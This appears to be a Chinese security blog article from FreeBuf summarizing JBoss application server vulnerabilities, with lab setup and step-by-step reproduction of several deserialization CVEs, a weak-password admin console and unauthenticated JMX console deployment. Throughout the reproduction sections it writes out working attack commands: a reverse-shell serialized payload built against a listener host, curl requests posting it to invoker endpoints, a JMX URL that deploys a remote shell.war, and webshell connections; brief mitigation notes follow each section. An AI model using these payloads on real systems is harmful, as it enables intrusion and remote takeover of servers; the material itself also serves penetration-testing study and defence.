freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

JBoss中间件漏洞总结
K1 2021-08-27 18:32:25 515395

一.Jboss简介

Jboss是一个基于J2EE的开放源代码的应用服务器。JBoss代码遵循LGPL许可,可以在任何商业应用中免费使用。JBoss是一个管理EJB的容器和服务器,支持EJB 1.1、EJB 2.0和EJB3的规范。但JBoss核心服务不包括支持servlet/JSP的WEB容器,一般与Tomcat或Jetty绑定使用。

默认端口:8080

二.Jboss安装

下载地址:https://jbossas.jboss.org/downloads/

1.安装jdk

这里用了两台机子,一台安装老版本Jboss4,jdk选1.6,一台安装Jboss6.jdk选1.7

这里可以注意一下jboss5-7可以被jdk7支持,jboss4可以被jdk6支持;使用jdk8的话访问JMX-console会报500;

安装jdk步骤网上教程很多,我就不写了,这里已经装好。

image-20210819161330082

image-20210819161353705

2.下载并安装Jboss6

下载jboss-6.1.0.Final:

image-20210819150959561

将其拉入虚拟机c盘

image-20210820101410679

新建环境变量:

JBOSS_HOME值为C:\jboss-6.1.0.Final

image-20210820101555697

path中加入:

;%JBOSS_HOME%\bin;

image-20210820101919780

在该目录下双击run.bat启动

C:\jboss-6.1.0.Final\bin

image-20210820102031667

出现info即为启动成功,本地可成功访问。

image-20210820102615856

此时远程访问是访问不了的,我们需要修改C:\jboss-6.1.0.Final\server\default\deploy\jbossweb.sar\server.xml的配置实现外网访问。将address="${jboss.bind.address}"改成address="0.0.0.0"

image-20210820105055554

保存后重启jboss,即可实现外网访问;

image-20210820105424802

3.下载并安装Jboss4

Jboss4和Jboss6的安装步骤一样,唯一不同的是在外网访问的配置文件上修改的地方不太一样;

image-20210820135311614

进去下面目录,修改server.xml,如下图成功访问

C:\jboss-4.2.3.GA\server\default\deploy\jboss-web.deployer

image-20210820135514710

image-20210820135718708

三.Jboss渗透

1.Jboss5.x/6.x反序列化漏洞(CVE-2017-12149)

漏洞原理

该漏洞为 Java反序列化错误类型,存在于 Jboss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter过滤器中。该过滤器在没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化,从而导致了攻击者可以在服务器上执行任意代码。

影响版本

Jboss AS 5.x 
Jboss AS 6.x

漏洞验证

访问/invoker/readonly,返回500(内部服务器错误——服务器端的CGI、ASP、JSP等程序发生错误),说明此页面存在反序列化漏洞

image-20210820144055866

漏洞复现

下载漏洞利用工具:https://github.com/joaomatosf/JavaDeserH2HC

image-20210823090347902

编译(需要java环境)

cd /opt
curl http://www.joaomatosf.com/rnp/java_files/jdk-8u20-linux-x64.tar.gz -o jdk-8u20-linux-x64.tar.gz
tar zxvf jdk-8u20-linux-x64.tar.gz
rm -rf /usr/bin/java*
ln -s /opt/jdk1.8.0_20/bin/j* /usr/bin
javac -version
java -version

这里我已经安装好

image-20210820144519927

开启监听

image-20210820144803249

选择一个Gadget:ReverseShellCommonsCollectionsHashMap,编译并生成序列化数据;生成ReverseShellCommonsCollectionsHashMap.class;

javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.ja
va

image-20210823090310580

生成序列化数据ReverseShellCommonsCollectionsHashMap.ser

java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192
.168.10.65:12345

image-20210823090832540

利用ReverseShellCommonsCollectionsHashMap.ser,以二进制格式发送ReverseShellCommonsCollectionsHashMap.ser包

curl http://192.168.10.154:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser

image-20210823091400586

成功反弹shell。

安全防护

1.升级新版本。
2.删除http-invoker.sar 组件,路径如下

C:\jboss-6.1.0.Final\server\default\deploy\http-invoker.sar

image-20210823093407062

3.添加如下代码至 http-invoker.sar 下 web.xml的security-constraint 标签中,用于对 http invoker 组件进行访问控制。

<url-pattern>/*</url-pattern>

路径为:

C:\jboss-6.1.0.Final\server\default\deploy\http-invoker.sar\invoker.war\WEB-INF

image-20210823093730532

image-20210823093707651

2.JBoss JMXInvokerServlet 反序列化漏洞(CVE-2015-7501)

漏洞原理

JBoss中/invoker/JMXInvokerServlet路径对外开放,JBoss的jmx组件支持反序列化。JBoss在/invoker/JMXInvokerServlet请求中读取了用户传入的对象,然后我们利用Apache Commons Collections中的Gadget执行任意代码。

影响版本

JBoss Enterprise Application Platform 6.4.4,5.2.0,4.3.0_CP10JBoss AS (Wildly) 6 and earlierJBoss A-MQ 6.2.0JBoss Fuse 6.2.0JBoss SOA Platform (SOA-P) 5.3.1JBoss Data Grid (JDG) 6.5.0JBoss BRMS (BRMS) 6.1.0JBoss BPMS (BPMS) 6.1.0JBoss Data Virtualization (JDV) 6.1.0JBoss Fuse Service Works (FSW) 6.0.0JBoss Enterprise Web Server (EWS) 2.1,3.0

漏洞验证

访问/invoker/JMXInvokerServlet,返回如下页面,说明接口开放,此接口存在反序列化漏洞。

image-20210823092835771

漏洞复现

这里利用上面生成的序列化数据ReverseShellCommonsCollectionsHashMap.ser,发送到/invoker/JMXInvokerServlet接口中;

curl http://192.168.10.154:8080/invoker/JMXInvokerServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser

image-20210823093222160

成功反弹shell。

安全防护

同上;

3.JBossMQ JMS 反序列化漏洞(CVE-2017-7504)

漏洞原理

这个漏洞与CVE-2015-7501一样,都是利用了Apache Commons Collections的基础库进行Java反序列化漏洞的利用。差别在于CVE-2017-7504利用路径是/jbossmq-httpil/HTTPServerILServlet,CVE-2015-7501的利用路径是/invoker/JMXInvokerServlet。

影响版本

Jboss AS 4.x及之前版本

漏洞验证

访问/jbossmq-httpil/HTTPServerILServlet,出现如下页面,说明存在该漏洞

image-20210823094243623

漏洞复现

这里利用上面生成好的序列化数据,发送到改接口中:

curl http://192.168.10.213:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser

image-20210823094553928

成功反弹shell

安全防护

升级到最新版本。

4.JBoss EJBInvokerServlet 反序列化漏洞(CVE-2013-4810)

漏洞原理

此漏洞和CVE-2015-7501漏洞原理相同,两者的区别就在于两个漏洞选择的进行其中JMXInvokerServlet和EJBInvokerServlet利用的是org.jboss.invocation.MarshalledValue进行的反序列化操作,而web-console/Invoker利用的是org.jboss.console.remote.RemoteMBeanInvocation进行反序列化并上传构造的文件。

影响版本

jboss 6.x 版本

漏洞验证

访问/invoker/EJBInvokerServlet,如果可以访问的到,说明存在漏洞

image-20210823094955346

漏洞复现

还是利用上面生成的.ser文件,通过POST 二进制数据上去,反向连接shell

curl http://192.168.10.154:8080/invoker/EJBInvokerServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser

image-20210823095326056

5.Administration Console 弱口令

漏洞原理

Administration Console管理页面存在弱口令,登录后台可以上传war包

影响版本

漏洞验证

image-20210823100247859

漏洞复现

admin/admin弱口令登录,点击add a new resource上传war包

image-20210823104115380

点击war包进入下一层,若状态为stop,则点击start,默认都是start,不需要点。

image-20210823104345893

蚁剑成功连接

image-20210823104524819

安全防护

修改密码,密码文件路径为

C:\jboss-6.1.0.Final\server\default\conf\props\jmx-console-users.properties

或者删除Administration Console页面

Jboss版本>=6.0,admin-console页面路径为

C:\jboss-6.1.0.Final\common\deploy\admin-console.war

6.0之前的版本,路径为

C:\jboss-4.2.3\server\default\deploy\management\console-mgr.sar\web-console.war

6.JMX Console未授权访问漏洞

漏洞原理

访问控制不严导致的漏洞,默认情况下访问http://ip:8080/jmx-console就可以访问管理控制台,不需要输入用户名和密码就可以直接浏览 JBoss 的部署管理的信息,部署上传木马,存在安全隐患。

影响版本

JBOSS 全版本

漏洞验证

点击主页的JMX Console进入页面

漏洞复现

Jboss4.x的复现:

kali开启远程服务,为了下面部署war包

image-20210823115736527

进入JXM Console之后,找到jboss.deployment

image-20210823111537878

点进去找到void addURL(),输入远程war包链接之后,点击invoke

image-20210823121654413

回到这个页面上方,点击Apply Changes

image-20210823121833925

返回到JMX Console页面,等待一会,刷新后可以看见部署成功

image-20210823122437357

蚁剑成功连接

image-20210823122620639

Jboss6.x的复现:

步骤差不多一样

image-20210823122818531

在该页面找到methodindex为17or19的deploy,填写远程war包的地址进行远程部署

image-20210823130424900

image-20210823130758283

image-20210823130823043

image-20210823131048341

或者是直接运行下面的语句部署即可

http://192.168.10.154:8080/jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.system:service=MainDeployer&methodIndex=17&arg0=http://192.168.10.65/shell.war

image-20210823131823568

蚁剑成功连接

image-20210823131009567

部署的路径为如下,可以看见自动部署出war中的文件。

C:\jboss-6.1.0.Final\server\default\work\jboss.web\localhost

image-20210823131904293

安全防护

关闭jmx-console和web-console,提高安全性。

7.JMX Console HtmlAdaptor Getshell利用(CVE-2007-1036)

漏洞原理

此漏洞主要是由于JBoss/jmx-console/HtmlAdaptor路径对外开放,并且没有任何身份验证机制,导致攻击者可以进⼊到jmx控制台,并在其中执⾏任何功能。

影响版本

Jboss4.x以下

漏洞复现

输⼊url:http://192.168.10.213:8080/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.admin:service=DeploymentFileRepository定位到void store()

image-20210823133106427

分别向四个参数传入内容:

p1传入的部署war包的名字,p2传入的是上传文件的文件名,p3传入的是上传文件的格式,p4传入的是上传文件的内容

image-20210823134213929

点击invoke

image-20210823134234176

经过测试,已经写入,但是目录底层不对,跳转不过去,无法上线蚁剑,这是个问题,暂时保留,有师傅有解决方法可以告诉我一下,万分感谢。

image-20210823142321972

image-20210823135236215

安全防护

目前官方已经发布了升级补丁以修复这个安全问题,请到官网的主页下载:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1036

四.自动化渗透

jexboss自动化渗透

jexboss是针对jboss渗透自动化估计武器,是用于测试和利用JBoss Application Server和其他java平台、框架、应用程序等中的漏洞的工具。

下载地址:https://github.com/joaomatosf/jexboss

这里演示的环境是我上面搭建的4.x和6.x的环境。

输入命令

python jexboss.py -host http://192.168.10.213:8080/

输入yes即可

image-20210823141601720

image-20210823141649693

成功交互。

# jboss漏洞
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 K1 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
kali渗透
K1 LV.5
干啥啥不行 干饭第一名
  • 28 文章数
  • 207 关注者
Apache Log4j2远程代码执行漏洞复现
2021-12-12
泛微e-office文件上传漏洞(CNVD-2021-49104)
2021-11-29
Apache Druid LoadData 任意文件读取 CVE-2021-36749
2021-11-22
文章目录